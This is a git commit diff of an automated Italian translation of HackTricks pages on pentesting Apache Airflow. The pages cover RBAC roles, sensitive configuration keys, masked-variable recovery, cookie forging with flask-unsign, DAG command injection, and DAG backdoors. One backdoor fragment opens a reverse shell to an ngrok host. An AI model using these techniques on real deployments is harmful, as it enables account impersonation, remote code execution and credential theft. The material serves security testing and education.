Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/

This commit is contained in:
Translator
2025-01-02 01:27:43 +00:00
parent 5dd38218dd
commit 38e365814e
209 changed files with 1699 additions and 1697 deletions

View File

@@ -34,7 +34,7 @@ Airflow potrebbe memorizzare **informazioni sensibili** nella sua configurazione
airflow-configuration.md
{{#endref}}
### RBAC di Airflow
### Airflow RBAC
Prima di iniziare ad attaccare Airflow, dovresti comprendere **come funzionano i permessi**:
@@ -55,28 +55,28 @@ Se hai **accesso alla console web**, potresti essere in grado di accedere ad alc
- Elenca **utenti e ruoli**
- **Codice di ogni DAG** (che potrebbe contenere informazioni interessanti)
#### Recupera i Valori delle Variabili
#### Recupero dei Valori delle Variabili
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nella GUI in `http://<airflow>/variable/list/`.\
Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nella **GUI**.
Le variabili possono essere memorizzate in Airflow in modo che i **DAG** possano **accedere** ai loro valori. È simile ai segreti di altre piattaforme. Se hai **sufficienti permessi**, puoi accedervi nell'interfaccia grafica in `http://<airflow>/variable/list/`.\
Airflow per impostazione predefinita mostrerà il valore della variabile nell'interfaccia grafica, tuttavia, secondo [**questo**](https://marclamberti.com/blog/variables-with-apache-airflow/), è possibile impostare un **elenco di variabili** il cui **valore** apparirà come **asterischi** nell'**interfaccia grafica**.
![](<../../images/image (164).png>)
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), esecuzione di **DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche la GUI stessa!**\
Per accedere a quei valori dalla GUI, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
Tuttavia, questi **valori** possono ancora essere **recuperati** tramite **CLI** (è necessario avere accesso al DB), **esecuzione di DAG** arbitrari, **API** per accedere all'endpoint delle variabili (l'API deve essere attivata) e **anche l'interfaccia grafica stessa!**\
Per accedere a quei valori dall'interfaccia grafica, basta **selezionare le variabili** che desideri accedere e **cliccare su Azioni -> Esporta**.\
Un altro modo è eseguire un **bruteforce** sul **valore nascosto** utilizzando il **filtro di ricerca** fino a ottenerlo:
![](<../../images/image (152).png>)
#### Escalation dei Privilegi
Se la configurazione **`expose_config`** è impostata su **True**, da **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
Se la configurazione **`expose_config`** è impostata su **True**, dal **ruolo Utente** e **superiore** possono **leggere** la **configurazione nel web**. In questa configurazione, appare il **`secret_key`**, il che significa che qualsiasi utente con questo valido può **creare il proprio cookie firmato per impersonare qualsiasi altro account utente**.
```bash
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
```
#### DAG Backdoor (RCE in Airflow worker)
Se hai **accesso in scrittura** al luogo in cui i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
Se hai **accesso in scrittura** al luogo dove i **DAG vengono salvati**, puoi semplicemente **crearne uno** che ti invierà una **reverse shell.**\
Nota che questa reverse shell verrà eseguita all'interno di un **contenitore worker di airflow**:
```python
import pendulum
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
```
#### DAG Backdoor (RCE nel scheduler di Airflow)
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione all'interno della cartella del DAG.
Se imposti qualcosa per essere **eseguito nella radice del codice**, al momento della scrittura di questo documento, verrà **eseguito dallo scheduler** dopo un paio di secondi dalla sua collocazione nella cartella del DAG.
```python
import pendulum, socket, os, pty
from airflow import DAG
@@ -152,7 +152,7 @@ Quando esegui un DAG dalla GUI puoi **passare argomenti** ad esso.\
Pertanto, se il DAG non è codificato correttamente potrebbe essere **vulnerabile all'Iniezione di Comandi.**\
Questo è ciò che è accaduto in questo CVE: [https://www.exploit-db.com/exploits/49927](https://www.exploit-db.com/exploits/49927)
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che **i parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
Tutto ciò che devi sapere per **iniziare a cercare iniezioni di comandi nei DAG** è che i **parametri** sono **accessibili** con il codice **`dag_run.conf.get("param_name")`**.
Inoltre, la stessa vulnerabilità potrebbe verificarsi con **variabili** (nota che con privilegi sufficienti potresti **controllare il valore delle variabili** nella GUI). Le variabili sono **accessibili con**:
```python
@@ -160,6 +160,6 @@ from airflow.models import Variable
[...]
foo = Variable.get("foo")
```
Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi.
Se vengono utilizzati, ad esempio, all'interno di un comando bash, è possibile eseguire un'iniezione di comandi.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -20,15 +20,15 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
- **`access_control_allow_headers`**: Questo indica gli **header** **consentiti** per **CORS**
- **`access_control_allow_methods`**: Questo indica i **metodi consentiti** per **CORS**
- **`access_control_allow_origins`**: Questo indica le **origini consentite** per **CORS**
- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) ci sono alcune opzioni che possono essere impostate per configurare chi può accedere all'API:
- **`auth_backend`**: [**Secondo la documentazione**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) alcune opzioni possono essere in atto per configurare chi può accedere all'API:
- `airflow.api.auth.backend.deny_all`: **Per impostazione predefinita nessuno** può accedere all'API
- `airflow.api.auth.backend.default`: **Tutti possono** accedervi senza autenticazione
- `airflow.api.auth.backend.kerberos_auth`: Per configurare **l'autenticazione kerberos**
- `airflow.api.auth.backend.basic_auth`: Per **l'autenticazione di base**
- `airflow.composer.api.backend.composer_auth`: Utilizza l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `airflow.composer.api.backend.composer_auth`: Usa l'autenticazione dei compositori (GCP) (da [**qui**](https://cloud.google.com/composer/docs/access-airflow-api)).
- `composer_auth_user_registration_role`: Questo indica il **ruolo** che l'**utente compositore** avrà all'interno di **airflow** (**Op** per impostazione predefinita).
- Puoi anche **creare il tuo metodo di autenticazione** con python.
- **`google_key_path`:** Percorso alla **chiave del servizio GCP**
- **`google_key_path`:** Percorso alla **chiave dell'account di servizio GCP**
### **\[atlas]**
@@ -38,7 +38,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
### \[celery]
- **`flower_basic_auth`** : Credenziali (_user1:password1,user2:password2_)
- **`result_backend`**: URL Postgres che potrebbe contenere **credenziali**.
- **`result_backend`**: URL Postgres che p contenere **credenziali**.
- **`ssl_cacert`**: Percorso al cacert
- **`ssl_cert`**: Percorso al certificato
- **`ssl_key`**: Percorso alla chiave
@@ -63,7 +63,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
### \[logging]
- **`google_key_path`**: Percorso alle credenziali JSON di GCP.
- **`google_key_path`**: Percorso alle credenziali JSON GCP.
### \[secrets]
@@ -80,7 +80,7 @@ Alcuni valori interessanti da controllare quando leggi il file di configurazione
- **`cookie_samesite`**: Per impostazione predefinita è **Lax**, quindi è già il valore più debole possibile
- **`cookie_secure`**: Imposta il **flag sicuro** sul cookie di sessione
- **`expose_config`**: Per impostazione predefinita è False, se vero, la **configurazione** può essere **letta** dalla **console** web
- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce python** (potenzialmente utili per un attaccante)
- **`expose_stacktrace`**: Per impostazione predefinita è True, mostrerà **tracce di python** (potenzialmente utili per un attaccante)
- **`secret_key`**: Questa è la **chiave utilizzata da flask per firmare i cookie** (se hai questo puoi **impersonare qualsiasi utente in Airflow**)
- **`web_server_ssl_cert`**: **Percorso** al **certificato** **SSL**
- **`web_server_ssl_key`**: **Percorso** alla **chiave** **SSL**
@@ -92,7 +92,7 @@ Per impostazione predefinita, **l'autenticazione web** è specificata nel file *
```bash
AUTH_TYPE = AUTH_DB
```
Il che significa che **l'autenticazione viene controllata rispetto al database**. Tuttavia, sono possibili altre configurazioni come
Ciò significa che **l'autenticazione viene verificata rispetto al database**. Tuttavia, sono possibili altre configurazioni come
```bash
AUTH_TYPE = AUTH_OAUTH
```

View File

@@ -4,13 +4,13 @@
## RBAC
(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **insieme di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli.
(Dai documenti)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow viene fornito con un **set di ruoli per impostazione predefinita**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Solo gli utenti `Admin`** possono **configurare/modificare i permessi per altri ruoli**. Ma non è consigliato che gli utenti `Admin` modifichino questi ruoli predefiniti in alcun modo rimuovendo o aggiungendo permessi a questi ruoli.
- **`Admin`** gli utenti hanno tutti i permessi possibili.
- **`Public`** gli utenti (anonimi) non hanno alcun permesso.
- **`Viewer`** gli utenti hanno permessi di visualizzazione limitati (solo lettura). Non **p vedere la configurazione.**
- **`User`** gli utenti hanno permessi di `Viewer` più permessi aggiuntivi che gli consentono di gestire un po' i DAG. Può **vedere il file di configurazione.**
- **`Op`** gli utenti hanno permessi di `User` più permessi aggiuntivi di op.
- **Gli utenti `Admin`** hanno tutti i permessi possibili.
- **Gli utenti `Public`** (anonimi) non hanno alcun permesso.
- **Gli utenti `Viewer`** hanno permessi di visualizzazione limitati (solo lettura). Non **possono vedere la configurazione.**
- **Gli utenti `User`** hanno permessi di `Viewer` più permessi aggiuntivi che consentono di gestire i DAG in parte. Possono **vedere il file di configurazione.**
- **Gli utenti `Op`** hanno permessi di `User` più permessi aggiuntivi di op.
Nota che gli utenti **admin** possono **creare più ruoli** con permessi **più granulari**.